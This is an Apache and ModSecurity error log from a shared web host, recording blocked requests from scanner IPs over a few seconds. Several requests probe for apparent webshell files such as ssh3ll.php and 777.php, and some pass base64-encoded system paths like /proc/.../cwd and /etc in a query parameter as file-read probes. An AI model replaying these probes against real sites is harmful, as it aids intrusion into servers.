/home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3Blcmw1L0NPUkU= [Sat Jun 13 18:08:04.561789 2026] [security2:error] [pid 531155:tid 531226] [remote 17.241.227.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5CmiP80klyS0NnrolQABb0Y"] [Sat Jun 13 18:08:04.726886 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:04.727190 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:04.746614 2026] [security2:error] [pid 531155:tid 531270] [remote 17.241.219.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5CmiP80klyS0NnromQABbXI"] [Sat Jun 13 18:08:04.822812 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.68:22486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:04.823216 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.68:22486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:04.829029 2026] [security2:error] [pid 531797:tid 532047] [client 191.234.188.123:63852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-demomav.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OOAAAAkU"] [Sat Jun 13 18:08:04.839177 2026] [security2:error] [pid 531797:tid 532095] [client 191.233.234.186:44737] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/asu.php"] [unique_id "ai3w5MTA7b1mZrmcA-8OOQAAAnQ"] [Sat Jun 13 18:08:04.841852 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2lk [Sat Jun 13 18:08:04.842125 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2lk [Sat Jun 13 18:08:05.166334 2026] [security2:error] [pid 531155:tid 531158] [remote 17.22.237.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5SmiP80klyS0NnroogABdAI"] [Sat Jun 13 18:08:05.211393 2026] [access_compat:error] [pid 531797:tid 531984] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:05.211681 2026] [access_compat:error] [pid 531797:tid 531984] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:05.246921 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS83Nw== [Sat Jun 13 18:08:05.247202 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS83Nw== [Sat Jun 13 18:08:05.281805 2026] [security2:error] [pid 531797:tid 531885] [remote 17.22.237.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5cTA7b1mZrmcA-8ORwACShU"] [Sat Jun 13 18:08:05.288349 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:05.288641 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:05.431131 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:08:05.431209 2026] [security2:error] [pid 531155:tid 531198] [remote 17.246.19.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5SmiP80klyS0NnroqQABVyo"] [Sat Jun 13 18:08:05.431638 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:08:05.457786 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.73:50260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:05.458049 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.73:50260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:05.524813 2026] [security2:error] [pid 531155:tid 531250] [remote 220.181.108.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5SmiP80klyS0NnrorAABG14"] [Sat Jun 13 18:08:05.604602 2026] [security2:error] [pid 531155:tid 531285] [client 172.171.3.232:18027] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/ssh3ll.php"] [unique_id "ai3w5SmiP80klyS0NnrorwAAAQo"] [Sat Jun 13 18:08:05.685243 2026] [security2:error] [pid 531797:tid 531879] [remote 17.246.19.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5cTA7b1mZrmcA-8OUwACfA8"] [Sat Jun 13 18:08:05.751170 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:05.751658 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:05.791548 2026] [security2:error] [pid 531155:tid 531298] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vfprintf_variation5.phpt"] [unique_id "ai3w5SmiP80klyS0NnroswAAARc"] [Sat Jun 13 18:08:05.894099 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.67:20567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:05.894376 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.67:20567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:05.896492 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI2L3Bvd2Vy [Sat Jun 13 18:08:05.896791 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI2L3Bvd2Vy [Sat Jun 13 18:08:05.996452 2026] [security2:error] [pid 531797:tid 532008] [client 172.171.3.232:42898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/reune.php"] [unique_id "ai3w5cTA7b1mZrmcA-8OXQAAAiA"] [Sat Jun 13 18:08:06.053024 2026] [security2:error] [pid 531155:tid 531184] [remote 17.22.245.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5imiP80klyS0NnrotwABNRw"] [Sat Jun 13 18:08:06.060213 2026] [access_compat:error] [pid 531797:tid 531943] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvcnVuL25zY2Q= [Sat Jun 13 18:08:06.060483 2026] [access_compat:error] [pid 531797:tid 531943] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvcnVuL25zY2Q= [Sat Jun 13 18:08:06.087221 2026] [security2:error] [pid 531797:tid 531898] [remote 220.181.108.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5sTA7b1mZrmcA-8OYgACSSI"] [Sat Jun 13 18:08:06.241024 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9ldGMvSW1hZ2VNYWdpY2stNg== [Sat Jun 13 18:08:06.241305 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9ldGMvSW1hZ2VNYWdpY2stNg== [Sat Jun 13 18:08:06.382205 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.113:64414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:06.382496 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.113:64414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:06.390517 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.107:39875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:06.390990 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.107:39875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:06.421590 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:08:06.421957 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:08:06.812300 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:06.812762 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:06.815303 2026] [security2:error] [pid 531797:tid 532068] [client 191.234.188.123:47970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/cobaini.php"] [unique_id "ai3w5sTA7b1mZrmcA-8OcwAAAlo"] [Sat Jun 13 18:08:06.825481 2026] [security2:error] [pid 531797:tid 531901] [remote 17.241.75.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5sTA7b1mZrmcA-8OcQACeSU"] [Sat Jun 13 18:08:06.871687 2026] [security2:error] [pid 531155:tid 531194] [remote 17.246.15.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w5imiP80klyS0NnroygABTiY"] [Sat Jun 13 18:08:06.889157 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMTYyL2N3ZA== [Sat Jun 13 18:08:06.889647 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMTYyL2N3ZA== [Sat Jun 13 18:08:07.002825 2026] [security2:error] [pid 531797:tid 531936] [remote 162.254.36.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai3w5sTA7b1mZrmcA-8OeQACP0g"] [Sat Jun 13 18:08:07.027757 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:08:07.028148 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:08:07.205337 2026] [security2:error] [pid 531797:tid 531946] [remote 17.22.253.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w58TA7b1mZrmcA-8OiAACXFI"] [Sat Jun 13 18:08:07.217861 2026] [security2:error] [pid 531797:tid 532010] [client 20.151.217.54:48599] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/777.php"] [unique_id "ai3w58TA7b1mZrmcA-8OiQAAAiI"] [Sat Jun 13 